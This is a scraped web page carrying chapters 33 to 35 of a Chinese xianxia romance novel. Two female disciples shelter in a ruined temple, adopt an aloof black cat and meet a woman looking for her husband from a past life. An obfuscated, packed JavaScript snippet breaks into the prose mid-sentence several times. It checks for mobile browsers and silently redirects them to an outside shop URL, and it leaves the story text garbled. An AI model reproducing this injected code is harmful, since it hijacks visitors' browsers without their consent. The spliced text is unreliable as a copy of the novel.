她们本打算在树下铺个毯子就睡了,但毯子还没铺好,天上就落下几滴雨水来,二人愣了一下,连忙把毯子收了起来,一时有些不知所措。 “怎么办啊师姐?这雨一下可埋汰了……” 石映心想了想,跑到树顶上看了看,飞下来说:“不远处似乎有一座庙宇,不如趁着夜深人静,我们快些御剑过去?” 曾换月抱着行囊连连点头:“好啊好啊!” 二人于是偷摸地御剑过去,飞近了就瞧见这庙宇实在破败,也就一间一院,院子里堆着杂物、长了一丛小腿高的野草,屋顶的砖瓦空了几块,破碎在门前,墙皮脱落大半,窗上结着落满灰尘的蜘蛛网。 二人下了剑,曾换月抱着师姐的胳膊,有些惊恐地打探着周遭,小声道:“师姐,我听说断了香火的破庙会变成亡魂鬼屋,你你你看这庙……” 夜风伴雨吹来,明明是七月夏日,却带一股渗人的寒气。 石映心稳重地安慰师妹:“没事,不过是鬼。要是淋了雨就不好受了。” 曾换月:…… “我们进去吧。” “……呜呜好。” 她们推开庙门,迎面瞧见一尊高大的观音像,眉目低垂着,若不是半张脸掉了下来,也许是张和蔼面,地上散落几个发霉的蒲团,“吱吱”跑过一只老鼠,钻到了供桌布下。 曾换月转着眼珠子打量中,忽地感到脖子上一凉,吓得低呼一声,摸了摸是一滴水,抬头瞧去,正巧是她头顶的砖瓦破了几块。 “师姐……” “谁在外面?” 后头忽然有男声传来,听着有些提心吊胆。既然是人声,曾换月便松了口气,抬高一点声音道:“我们是来避雨过夜的!你们是谁?” 不过一会,殿后走出来一盏油灯,照着后边两个男人,前头的是仆役打扮,灰色短打、粗布腰带;后头的是书生模样,儒巾襕衫,文质彬彬。 见到二人,那仆役忽地大惊道:“竟是两个人?你们快出去!” 曾换月莫名其妙:“出去?凭什么叫我们出去?” “凭什么……你们不是银州人?” “不是又如何?” 仆役侧头看了眼书生,烛光下的脸色有些森然。书生却是朝她们笑了笑,和声和气道:“那难怪两位姑娘不清楚了。银州一直有个民间传闻,进入鬼月之后,夜里不可四人共处,怕要招来阴间恶鬼……” “真的假的……”曾换月把师姐又抱得紧了一些。 “还能有假?”仆役声线有些发抖起来,“阴阳路是鬼路的事天下谁人不知?若不是有归壹派镇守,那里头的鬼怪怕是早已危害人间,而最近的银州就是首当其冲……但再厉害的修士也有顾及不暇的时候,尤其是在鬼月,百鬼肆虐,我们这些老百姓只好自己小心了……” “知道了。”石映心颔首表示理解,“既然你们怕鬼,那就出去吧。” 主仆二人:? 仆役以为自己听错了:“谁、谁出去?这庙可是我家公子先来的,怎么也要讲个先来后到的道理!” 石映心眨眨眼:“你们是先来没错,但我既不是来买东西、又不是要住客栈,难道先来了这庙就归你们了吗?” 主仆二人:…… 曾换月立刻帮腔道:“是啊,这庙又不是你们的,凭什么要我们出去淋雨?谁怕鬼谁出去就是了!” “你!” “小孙。”那仆人正要愤愤不平起来,书生就喊住他,又朝她们一拱手说,“二位姑娘说得不错,是在下的仆役冒昧了。不过鬼月传言确实骇人,不如我们各居一隅、互不见面,以防万一如何?” 曾换月看师姐,她师姐道:“好。” 书生又说:“姑娘的右手边便有一间寮房,二位不嫌弃的话便去里头吧,我与小厮在殿中休息便好。” 这书生倒有几分眼色,石映心点点头道了谢,带着师妹进了寮房,房间很小,不过一张床一张桌,连窗户都没有。二人施澄净诀将屋里弄干净了一些,互相挨着躺在床上,听雨落在屋檐上啪嗒好大声。 “唉……”曾换月叹了口气,“没想到离了家,要睡这么破的屋子。” 石映心看着黑乎乎的天花板:“等明日进了银州,就可以住好一些的客栈了。” “唉……” 石映心顿了顿:“要不明日你就回宗门?” “那不行。”曾换月摇摇头道,“既然都出来了,就没有半路打道回府的道理。再说我决心要帮师姐,自然不能食言!” 石映心不觉得这是“食言”,就算是她也不怪师妹,本来就是她的任务,没必要连累其他人。 “你若是想回去,可以随时回去。” “不回去……哈……师姐我好困啊,今早天没亮就起来了,下山又走了好久,好累……”说着说着,声音就模糊了起来。 石映心侧头一看,她果然已经睡着了。 和师妹同床共眠也是常事,她瞧了瞧曾换月的睡颜,感觉像去膳堂用膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15744795|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时瞧见了自己的爱吃的菜一般,接下来一餐会吃得高兴了。 好了,睡觉吧。 * 隔天早上起来时,曾换月瞧见师姐在打量着因果牌,她打了个哈欠:“师姐,怎么了?” 石映心抬头看她:“方才我将牌子拿出来看了看,瞧见它在发光,不知是何时开始的,不过现在已经恢复寻常了。” “怎么会这样?” 石映心摇摇头道:“不清楚,不过我想还是把它随身放着,免得再有异样。” 二人简单收拾一番出了门,那对主仆已经不见了。石映心其实是听着他们动静起来的,他们也才没走多久。 既然如此就继续赶路吧。昨日下山后问过了因果牌,是要从这条路继续走下去,也许要入银州看看。 下了一夜的雨,天上依旧乌云蔽日,天色是朦朦的亮。 她们刚上路没走多久,忽然听闻路边的草丛里有簌簌的动静,曾换月提心吊胆地往师姐身后一躲:“天奶!不会是蛇吧?” 石映心正要说没事,却见草幕被打开,出来一只绿眼睛的玄猫。 “……呼,原来是猫啊。”曾换月松了口气,打量了那猫几眼,笑道,“师姐,你看这猫像不像你先前在黑竹林喂的那只?” “一模一样。”石映心说,她蹲了下来,朝那只猫伸出手,唤道,“猫。” 玄猫端坐在那,绿眼睛瞧瞧石映心,又瞧瞧曾换月。 “叫咪咪试试。”曾换月说,“也许就是那只猫呢?它当时不是突然不见了吗?可能下山来了,见到你觉得熟悉,所以才过来。” 石映心:“咪咪。” 玄猫矜持端庄,并无任何反应。 曾换月也喜欢猫,可惜对猫毛过敏,这是她两世的遗憾,便怂恿师姐说:“师姐你去摸摸它。” 石映心便伸手去摸,她伸出手的时候猫还无动于衷,但要碰到猫脑壳的时候,这玄猫却灵活地把脑袋一扭——躲过去了! 石映心:? 她抿了下唇,伸手将猫抱了起来,但只是提溜起来了一下,那猫就像条鱼似的从她手上溜了出来,跳到了地上。 石映心:? 她眉头微蹙,见这猫也没跑,于是又把它抱起来——又被它溜走了。 第三次了。 石映心看了看盯着她的绿眼睛,朝师妹说:“它变了,以往会让我摸和抱的。”语气听着有些失落。 “也许压根不是一只猫。” “长得一模一样。” “这么多年过去,一模一样才奇怪吧?”曾换月宽慰她,“没事啦师姐,猫都长得差不多的,这只不亲人就不要,下只更乖!” 石映心想想也是,于是两人便不再和这只猫纠缠,背着行囊就继续走;但奇怪的是这猫却一直跟着她们,不远不近的,每当她们回头它就端坐下来,好整以暇地和二人对望着。 “它想干什么?”曾换月猜测,“难道是找我们要吃的?” 正巧前边有一条小河,石映心便去捉了条鱼扔到它面前。那鱼新鲜着在地上扑腾,打出的水花溅到猫脸上,玄猫嫌弃地用爪子擦了一下,然后将鱼一推——又送回了河中。 二人:…… 33. 第 33 章 “不亲人还不知好歹!”曾换月哼哼一声,“走吧师姐,我们不要理它了!” 石映心见自己的好意被辜负,心中也很失落,和绿猫瞳对望着眨了眨眼睛,微蹙的眉头忽地松开了,神色有些茫然,似乎还在疑惑。 “师姐,”曾换月又叫了她一声,“我们走吧?” 石映心转头朝她微微一笑:“换月,这里荒郊野岭的,这猫不爱吃鱼能吃什么呢?饿肚子多可怜;又听那两个凡人说夜里有野鬼出没……你不是说猫有灵性吗?也许它是害怕,又知道我们厉害,所以才跟着我们寻求庇护?” 曾换月没想到她这么揣测了猫的心思,有些发愣:“啊?是哦?” 石映心又说:“既然如此,不如我们好人做到底,把它带入城中,找一户好人家吧。” 曾换月感动道:“师姐你真是太善良了!” 石映心也没否认,只继续说:“不过它只是一只猫而已,如果我们走快点它就要跟丢了。” “确实……” 于是下一秒,曾换月就见她师姐手诀一出,给那玄猫施了法术,那猫也是一惊,绿眼睛都瞪大了不少,但依旧一动不动地盯着石映心朝它走过来。 石映心把它抱了起来,朝师妹笑道:“我给它施了定身术,现在它乖乖的了。” 曾换月:“……哦、哦。” 嘶,怎么有点强制爱的感觉呢? 不不不,师姐都是为了这只猫好,是为了给它找一个家啊!谁让这只猫不知好歹? 嗯嗯…… 她师姐抱到了猫,心情明显好了不少,脸上都带笑了,时不时朝怀中的猫看一眼,然后稀罕地点点它的鼻尖、拉拉它的胡须,笑眼弯弯。 至于那猫——除了瞳孔一会儿放大一会儿缩小之外,就是一只任人摆布的玩偶了。 她后来抱累了,就把斜挎包里的东西清了,将猫放入包中,只露出一个猫脑袋来,时不时伸手摸摸它脑壳、捏捏它耳朵,倒也很方便。 二人一猫就这么走了半天,终于到了银州城。 都是第一次入人间,姐妹俩瞧什么都稀罕,银州就在归壹派山脚下,自然得到庇护,百年来都是安定繁荣、热闹非常,百姓们对归壹派也是毕恭毕敬、奉若神明。 二人就瞧见有穿着门服的陌生弟子在某个摊位前停留了一会,那个摊主就笑呵呵地硬要往他手里塞包子,那弟子推辞不过,还是接了下来。 曾换月觉得这有些风光:“师姐,要是我们换上门服显示身份,是不是也能得到百姓们的小礼物?” 石映心摇摇头:“好麻烦,我不想和这么多人打交道。” “那倒也是哦。” 二人找了一家瞧着不错的客栈歇脚,听师姐说要两间房,曾换月连忙道:“师姐,我和你睡一起就好了。” 石映心点点头:“嗯,还有一间是给猫要的。你不能碰猫毛,到时候猫在屋里跑,猫毛乱飞不好办。” 曾换月脸上感动一笑:“师姐你真贴心!” 给她们办事的店小二笑道:“两位姑娘真是心善,连这猫都要另住一间。要我说啊,拴在门口或是我们客栈后厨都行,何必浪费一两银子?” 曾换月故意说:“给你们多挣一两银子还不好了?” “没有没有,二位姑娘快楼上请,左转第二第三间便是了。对了,小店的吃食也不错,红烧大排最为出名,二位有兴趣可以尝尝。” “好。” 姐妹俩上了楼,先在屋里休息了会、倒了口茶水喝。石映心把猫从包里捞出来,抱在怀里看了看,碰了碰它的爪子说:“既然你是只猫,就安心地待在旁边的房间里,等我和师妹回来。” 这么说着,她去边上的房间把猫一放,关上门后又施了法术锁了门,这才跟着师妹出门了。 二人在街上拿出因果牌看了看,东南西北转了转,最后指向西面时牌子隐隐发光,她们便顺着西面走去,一路走到了一户人家前。仰头看见朱门绣户,门匾上写着“银州署”三字,门前站着两个门房,两头比人高的威武石狮。 曾换月微惊,看看闪烁得激动的牌子,又看看面前的大门,和师姐嘀咕道:“怎么找到衙门来了?” “衙门?”石映心冒了个念头,“难道是要我们帮衙门捉拿作恶多端的罪犯?” “你话本看多了,师姐。”曾换月憋笑道,“你别忘了因果牌上的诗是歌颂爱情的!” 不过爱情和衙门有何关联呢,二人还没想通。偏偏此处也不是能随便进去逛逛的地方,于是她们便在门口偷摸地徘徊起来,打探着周遭。不小心还引来了那两个门房大哥的探究视线,不过因她们暂且没做什么,双方都按兵不动着。 没过一会,石映心就厌烦了漫无目的,提议道:“要不我们施隐身诀进去瞧瞧?” 曾换月也觉得这么下去不是事,正想应好,忽然瞧见东边走过来两个人,她连忙示意石映心道:“师姐你快看,那两个是不是昨晚我们在庙里遇见的人?” 石映心闻言看去,还真是。二人换了套衣裳,手上提着几样东西,走到衙门后,那两个门房居然朝他行了礼,然后他与仆役回了礼后就进去了。 “怎么看着和那两个看门的大哥很熟的样子?”曾换月嘟囔着,余光落在衙门口包子摊上,脑筋一转,拉着她师姐过去说,“大娘,你家包子哪款最好吃?” 包子大娘把蒸笼盖子一掀,热腾腾的香气冒了出来,里边挨着一个又一个白胖胖的包子,面皮上都渗透着油:“我家的梅干菜肉包最是美味,衙门里的那些差大爷都爱吃!唉,两位姑娘,可不是谁都能在衙门口摆摊的!” 石映心以为师妹想吃:“大娘,来两个包子。” “好嘞!” 趁着大娘给她们打包,曾换月连忙问道:“哎呀,最近这衙门是有什么案子吗?我方才瞧见一个书生熟门熟路地进去了,他瞧着不像是干坏事的人哪。” “嗐!哪是什么案子呀?”大娘笑着把包子递给两人,“是喜事!” “喜事?” “这事确实知道的人不多,知州老爷平日不太张扬的,就连这嫁闺女的大喜事,也是低调着来。” “嫁闺女?”曾换月眼睛一瞪,“嫁给谁?刚刚那个书生?” “是啊。”大娘点点头,见她反应有些激动,自己也提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为何要不直接呢?” “……”曾换月没话说,只好闷头吃包子,心想就怕给人家吓到啊……但直接去找,似乎是最快的办法了。 二人吃完包子走出巷子,打算用隐身诀溜进银州署,走两步却见前头有一阵喧哗,边上围了不少人在看热闹。曾换月扬长脖子瞅了瞅,什么也没瞧见;石映心一般不爱凑这些无关紧要之人热闹,目不斜视地就要走过去。 人群喧闹之中,却传来了一个男声: “你、你们别乱来啊!逼我动手的话你们都没好果子吃!” 石映心:? 她和师妹对视一眼,二人脱口而出:“二师兄!?” 连忙扒拉开人群挤进去,就见二师兄双手叉腰地挡在一个身形瘦弱的女子面前,将她遮得严实;对面是三个流里流气的男人,这会也在恶声恶气地朝她们二师兄说话: “呦,小白脸口气还不小!有种你就给你大爷我来两招啊?要不然……哼哼,我叫你知道多管闲事的下场!” 顾梦真抬着下巴企图让自己有气势一点:“我、我是不想欺负你!” 那三人闻言哈哈哈哈地发出嘲笑的声音,围观群众也议论纷纷。 就在这时候,石映心进场了:“二师兄,你怎么在这?” 34. 第 34 章 “映心,换月!”见到两个师妹,顾梦真两眼放光,“你们可让我好找!” 曾换月也凑过去:“还能怎么,肯定是来捉我的呗……” “哼,你也知道!” “我是不会跟你回去的!” “你……” 见这小白脸居然视若无睹地和两个女人聊起天来,那三个人不高兴了,为首的道:“喂喂喂,凡事讲个先来后到,你个孙子把老子晾在这里是几个意思?怕等会没命跟你妹子叙旧啊?哈哈哈哈!” 他后边两个小弟已经打量起新人了:“大哥,我看这两个妹子也不错啊,这样正好,我们兄弟仨一人一个!” “什么一人一个,好兄弟多见外啊,一起一起嘛!” “哈哈哈哈哈哈!” …… 顾梦真气得脸红,怒骂道:“不想死的话嘴巴都放干净点!” 曾换月冷哼一声:“三个短命鬼!现在下跪求奶奶告爷爷还能饶你们一命!” 石映心问:“是要杀了他们吗?” 那三人见她们放狠话,自然很恼怒了,为首的道:“不跟他们废话,兄弟们,上!”三人便扑了上来。 与此同时,顾梦真和曾换月退了几步,前者喊道:“不能杀人啊,给个教训就好!” 给个教训? 石映心其实不太能拿捏这种分寸,她犹豫了一小会,于是把三人的嘴巴给削掉了。地上落了六片血肉,吓得边上的围观群众作鸟兽散,那三个人捂着嘴巴在地上打滚,除了喊疼的呻吟声啥也说不出来。 “差不多了差不多了……”趁场面一片混乱,顾梦真拉住师妹,“快走吧!” “哦。” 三人逃窜而走。 远一些的街上。 “你怎么一来就惹事?”曾换月气喘吁吁地谴责师兄,“尽给我和师姐添乱!” “曾换月,你还好意思说?”顾梦真龇牙道,“要不是你偷溜下山,我这会还在洞府里悠哉,哪里需要连夜赶路来找你?又哪里会招惹上那三个破皮无赖?你你你,你快跟我回去!” “我不回去!”曾换月躲到师姐身后,“我是来帮师姐的!” “你不添乱就不错了!” “你才添乱!” …… 石映心被当做一堵墙卡在二人中间,很习惯地淡定着,也没有劝和的意思,要不是余光瞧见了边上的那个瘦弱的、面色苍白的女人。 奇怪?她一直跟在她们后面吗?怎么也不说话…… “师兄,”石映心打断二人的争执,“她是谁?” “……你就等着被师父骂、啊?”顾梦真扭头一看,瞧见了女人也是一吓,“咦,这位姑娘你还在啊?” 那姑娘原本站在几步外,这会小心地走过来,朝她们点了点头:“多谢几位恩人出手相助……不然我怕是……”说到后边,脸色有些害怕起来。 “你不要客气,”顾梦真摆摆手说,“他们竟有胆子在光天化日之下对你出言不逊、动手动脚,实在是太过分了!真叫人看不下去。” “原来二师兄是路见不平拔刀相助啊,”曾换月轻哼一声,“算你有良心。” 又对那个女子说:“这位姑娘,你不用同我们道谢,不过近日还是少走那处过,就怕他们不长记性。” 女子点点头应下,却还是没走,似乎是犹豫着说:“实不相瞒,其实我不是银州人,是从老家过来寻人的……不知几位恩人是否知道何处才能寻到我想要找的人?” “寻人?”顾梦真摸摸下巴,“银州这么大,人口众多,找个人无异于大海捞针……你要找到人叫什么名、做什么行当?” 女子看着他摇了摇头:“这……我皆不知晓。” “连名字都不知道你怎么找啊?”曾换月奇怪道,“你要找的人是你的谁?” “他……目前与我毫无瓜葛。”女子讪讪一笑,“也许也不认得我。” 三人:oO? “这我们就爱莫能助了。”曾换月遗憾地说,“要不你去衙门报案,让那些官差帮你,比如在告示墙上贴一些画像之类的……” 女子闻言,神色又是暗淡了一些:“他的模样……在我心里也早已模糊了。” 三人:Oo? 石映心总结了一下:“所以你要找一个不知道名字和长相,和你毫无瓜葛且根本不认识你的人?” 女子闻言微微一愣,大概自己也觉得荒唐,抿唇艰难一笑:“……嗯。” 还真是啊。 “这人怪怪的。”曾换月给二人传密音,“要不我们别管了,快走吧!” 顾梦真:“同意同意!” 石映心:“好。” 于是她们匆匆地说“不好意思啊姑娘我们还有急事就先行告退了有缘再见啊”,那姑娘也没挽留,轻轻地说:“好,多谢三位恩人……” 三人飞步走远了一些,顾梦真问接下来去哪啊,曾换月说当然是要帮师姐做任务了,然后石映心拿出因果牌,发现它闪得瞎人。 石映心微愣:“从来没见它这么亮过,难道我们要找的人就在附近?” 曾换月奇怪道:“贾秀才不是在衙门里吗?” 顾梦真:“贾秀才是谁?” “师兄你先别管,师姐,要不你找找东南西北?” “嗯。” 石映心便试着找东南西北,三人一个个方向转圈圈似地试了过来,最后停在了南边,他们抬头一看,正巧和还站在巷口好奇地看着她们的女人对上视线,偏偏她边上还没什么人。 曾换月:“不是吧……” 石映心拿着因果牌往女人的方向走了两步,这时候居然感到牌子在发烫,她顿了顿,回头朝师兄师妹点点头:“……好像是。” 真是太巧了。 于是才走掉的三人又回到了女人面前,曾换月还在小声嘟囔着:“奇了怪了,如果先前的推测没错,贾秀才应是我们要找的人,可为什么木牌会对她发光呢?她又不是知州小姐……” 女人虽不解他们去而又返,但面上带了些欣喜:“恩人,你们找我还有什么事?” 石映心道:“怎么称呼你?” “我姓何,名碧薰。” 几人互通了姓名,石映心道:“何姑娘,你要找的是个男人吗?” 何碧熏轻轻颔首,面上莫名带了丝笑意,看得石映心脑壳上冒问号:“……你笑什么?” 何碧薰于是抬首朝她也笑:“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15759979|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人……你光是想起来,便会想笑。” 石映心:? 她转头问师兄师妹:“是吗?” “哎呀,是她的情郎吧?”曾换月调侃地朝何碧薰抬抬眉毛,抬着抬着抽了一筋,诧异道,“不对啊,她不是根本不认得那人……” 顾梦真干脆道:“何姑娘,你就别和我们卖关子了,仔细说说你和这人究竟是什么关系,我们也好帮你找啊是不是?” 何碧薰抬眼欣喜道:“几位恩人真的愿意帮我找人?” “愿意愿意,你快说吧。” “好,不过……”她面色又有些犹豫起来,看的三人有些着急,“我说了,怕你们不信。” “信信信,赶紧说吧!” “其实我要找的人……”何碧薰叹了口气道,“是我前世的夫君。” 三人皆是一愣。 之后听她细细说来,原来是这么回事,她前世与她夫君琴瑟和鸣、鹣鲽情深,却因战事要和他分别。临行前,二人深知此去便是九死一生,对月起誓相约来世再做夫妻…… “啊?发誓就能记得啊?”曾换月咋舌道,“孟婆汤过期了不成?” 何碧薰摇摇头说:“孟婆她听了我的故事,怜我用情至深,给了我三世机会。第一世,我迟迟找不到他,直到两鬓斑白、垂垂老矣,才发现他早已与她人成亲、儿孙满堂。我不怪他,是我来晚了……”说着抽了抽鼻子。 “第二世,我有幸与他是青梅竹马,相伴长大,还未成婚便死于一次天灾瘟疫中。只恨快乐的日子太短,我太贪心……”她抹了把眼泪,“所以这第三世,我一定要找到他、与他白头偕老……” 三人听完,各有感触。 顾梦真十分感动:“我听说不喝孟婆汤,轮回时便要受忘川河极刑之苦,如上刀山下火海,如被针扎被刀剐,若是昏厥了便要重头来过……何姑娘,没想到你是如此痴情的人,竟能忍受三次这般痛苦!” 曾换月听得微惊:“我的天奶……” 何碧薰惆怅道:“嗐,再痛也不过是皮肉折磨,那能抵相思之苦呢?” 石映心冒问号:“相思之苦这么疼吗?” “是啊。”何碧薰朝她淡淡一笑,双眼却有些出神,好像不是在瞧面前的人,“那是世上最苦、最疼的东西,却又叫人无法忘怀;每次想起来都是身临其境,如坠深渊,但又让心生出无尽的勇气……如此支撑我走到今日。” “天呐……”曾换月深受感动道,“师姐,这就是我们要找的‘自古多情空余恨,此恨绵绵无绝期。’啊!” 石映心闻言松了口气,总算找到任务方向了,不过:“何姑娘,如果你的夫君这世不爱你了、或是已经娶妻生子了怎么办?” 何碧薰说:“若是前者,几位大可放心,夫君虽不记得我,但我与他有几世的缘分,情深似海,他定不会对我无动于衷;若是后者……罢了,我只愿今生能在远处日日望见他便好,不再求相知相识。” “哇……”曾换月捂住嘴巴,“久闻难得一见,原来这就是爱情的伟大啊!” “太伟大了!”顾梦真泪眼汪汪,“你放心何姑娘,我们一定会竭尽所能地帮你!” 石映心也郑重地点点头:“嗯。” 35. 第 35 章 何碧薰望望三人,眼里也冒了泪花,衬得她苍白一张脸好不可怜:“好,多谢三位恩人!” “别这么客气,等我们帮你找到人了再谢吧……”曾换月瞅瞅师姐手中的木牌,忽然想到什么,“欸,师姐,既然木牌遇到贾秀才也会发光,那他不会就是……何姑娘要找的人吧?” 何碧薰微微抬起眼:“贾秀才……” 顾梦真:“你们一直在说的这个贾秀才究竟是谁啊?” 石映心眨眨眼:“是或不是,让他们二人见了面便知道。” “这个秀才是谁?” 曾换月偷摸撇了眼何碧薰,小声道:“希望不是吧,贾秀才都和知州小姐有婚约了……” “谁啊这个姓贾的?” 石映心宽慰师妹道:“没事,不就是婚约,我们可以抢亲。” “抢谁的亲!?” 曾换月也吓了一跳:“师姐万万不可啊!你是不是看了那本侠客抢亲青梅的话本?哎呦不行不行的,哪能效仿这些故事主人公啊……” “可是……” 顾梦真仰天长啸:“你们谁来跟我说清楚!就是做坏事也得和我通通气吧!” “……” 街上不好说话,于是几人先回了来财客栈商讨事宜。 正巧是用晚膳的时间,一楼大堂里坐满了人,一进去便有扑鼻的食物香气。慕雲这三个徒弟最是嘴馋,哪怕早已辟谷,吃一粒辟谷丹就可一月不吃不喝,但这三人偏要掐点去膳堂吃饭…… 明易曾以为只是自家师弟妹如此,后来他发现门派里居然有东西南北四座膳堂,才知贪嘴的风气是门派传下来的。 果然,这会三人就默契地拉着何碧薰找空桌坐下,然后叫小二过来点了菜:三份红烧大排面,一碗蒜蓉小青菜,再加一碗辣子鸡丁……何碧薰说半时辰前才吃了些糕点,不饿。 等上菜的时候,曾换月给大师兄解释前景提要,石映心则站起了身往楼上走去,没过一会儿抱着那只玄猫下来了。 顾梦真奇道:“这只猫是哪来的?” 曾换月:“如此如此这般这般。” 顾梦真“哦~”了一声,伸手去摸了摸猫脑壳,见它绿油油的猫眼很是不耐,又收回了手来,吐槽道:“这猫瞧着很不亲人啊,还瞪我呢!” “是不亲人。”石映心抱着猫说,“不过人亲猫就好。” “哈哈哈哈!”曾换月笑了起来,“师姐你不要亲它,这猫不知道流浪了多久,草里泥里地滚,可脏了!” “我已经帮它使了澄净诀。” “那也不能亲。”顾梦真摇摇头,“猫身上总是有脏污的,它们还要用口水舔自己,舔舔屁股又舔舔身上,哎呦!” 石映心一顿:“……嗯。” 何碧薰捂嘴笑道:“猫不及凡人,它们舔自己便是爱干净的表现了。我以前家中养了一只金丝虎,还会爬树摘果子,一个个打下来,人就在下头接着。” “还挺聪明,”顾梦真说,“那捉老鼠的本事如何?” 何碧薰摇摇头道:“不捉老鼠,就平日里逗着玩的,还要替它操办吃食呢。” 这时候上菜的小二走过来听见了,感概一声道:“哇,做姑娘家的猫这么好待遇?” 何碧薰连忙谦逊地摆手:“没有、没有,见笑了。” 红烧大排面和两碗菜都上来了,顾梦真让师妹把猫放在一边去:“小心猫毛掉进去。” 石映心想想也是,便把猫放在边上坐着,拿筷子吃起面来。别说还真挺好吃的,和他们归壹派膳堂的红烧大排有的一拼,大概地理位置相近,口味也很相似,浓油赤酱、咸中带甜。 三人吃起来便有些着迷了、忘情了,全然忘记边上还干巴巴地坐着一个何碧薰。后者倒也没什么不耐,脸上还带着浅浅的笑意,看着有些和蔼,只是忽然和那猫对视上,心中一惊。 这猫……何碧薰想,和寻常的猫有些不同,这不像猫看人的眼神。 吃完饭,外头天也快黑了,三人坐在桌边捧着大肚子,慢悠悠地琢磨起明日要怎么让何碧薰和贾秀才见面,正没说两句,店里忽然有些骚乱。 “吃完饭的客官就赶紧走吧,”店小二居然拿着锣鼓敲了起来,“天要黑透了,赶紧回家吧!” 哪有这样待客的,但客官们都没有不满。没吃完的抓紧扒拉几嘴结账要走;吃完坐着嗑瓜子聊天的也纷纷起身;还有从楼上下来走到一半的,转身又往楼上走去。 一时之间,热闹的客栈大堂一哄而散。 四人正坐在那稀奇地打量着,那敲着锣的小二就快走过来,脸色略着急:“哎呀,这都什么时候了,四位客官竟还敢这般悠哉地坐着!快走吧,快回家吧,小店也要关店休息了!” 何碧薰便站了起来,朝三人微微颔首道:“既然如此,碧薰便先告退,明早再来找三位恩人。” 三人也与她道别:“慢走哦。” 何碧薰一走,那小二又要去劝退别人,但被顾梦真拉住了:“欸小哥,你们店里为何这么慌张?还是家家户户都这样?” “家家户户都这样……”他刚回答一句,忽然手指一点三人,“一二三……四,客官行行好,我不能与你们多待啊!” 顾梦真还拉着他:“别啊,我们想问你一些话。” 那小二越发慌张起来:“不行不行……” 就在这时,石映心抱着猫站起来说:“师兄,换月,我先去楼上等你们?” 顾梦真瞥了眼小二慌张的脸:“好啊,你先上去休息。” “嗯。” 石映心带猫上楼进了屋,关上门后把猫往桌上一放,坐在边上和它大眼瞪小眼,她是直勾勾地瞧着的,玄猫却似乎有些眼神闪躲,看她一会就转开视线,又转回来瞥一眼,再转开。 她戳了戳软乎乎的猫爪,忽然说:“还没听过你叫,这样,你叫一声喵喵我就把你身上的法术解开。” 这么说着,先是点了一下猫嘴,让猫的嘴巴能活动了。 但那玄猫依旧无动于衷,嘴巴紧紧闭着。 石映心戳戳猫脸颊,扯了扯它的胡须威胁道:“你要是不叫,我就一直不让你动……” 猫不为所动。 她忽然想到方才二师兄说的话,又道:“我还要亲亲你……” “喵。” 石映心耳朵一动:“咦,你叫了?我没听清。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15770226|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那猫瞳看着天花板,疑似在翻白眼:“……喵。” 叫得毫无感情,一点也不可爱,和她先前在黑竹林喂的那只完全不一样。 石映心心满意足地笑了一声,解开了猫身上的法术,就见那猫飞快地跳到地上,跑到屋里最远的角落遥遥望着她。 石映心支着下巴看着他,微笑着说:“大师兄说得不错,长了嘴巴的人就会说谎,但就是有人不会说话,也会骗人……” 那猫定定地看着她。 这时外头传来一阵脚步声,是换月和师兄过来了,玄猫往门瞥了一眼,见二人推开门,急吼吼地跑进来说:“师姐师姐,这银州真的闹鬼啊!” 怎么回事呢? 先听曾换月说:“那小二还亲眼见过呢!就是去年这时候,一个屋子里不小心待了四人,夜里这四人都见了鬼!有一个是在如厕时撞上的,横死在粪坑上!那小二躲在被窝里念了一宿阿弥陀佛神仙保佑,这才躲过一劫……其他两个则是被吓晕了。” 又听顾梦真道:“而且啊,这还不是个例,前几年百姓们不信这传闻的时候出过不少岔子,去大街上问问,十个里就有一个信誓旦旦地说自己见过鬼!听说十几年前更混乱,鬼直接在街上乱窜,夜里窗户开条缝,都有鬼溜进来……” 石映心:“鬼这么厉害。” 曾换月说:“是啊,我们是没遇见过鬼,听说是形如云烟,能穿墙呢!” 石映心:“哇。” 曾换月道:“当时死了很多人,好在很快我们归壹派就发现了不对劲,派了一批弟子下来降鬼,又按迹循踪,才知道原来是阴阳路那里的封印松动了,银州临近阴阳路,可不就首当其冲?听百姓说,当时银州都是百鬼夜行,真不敢想阴阳路有多可怖!” 石映心:“鬼来人间要做什么呢?” “就……吓人、杀人呗。”顾梦真想了想,“也许还有寻仇的。” “哦,”石映心点头,“那后边是如何解决的?” 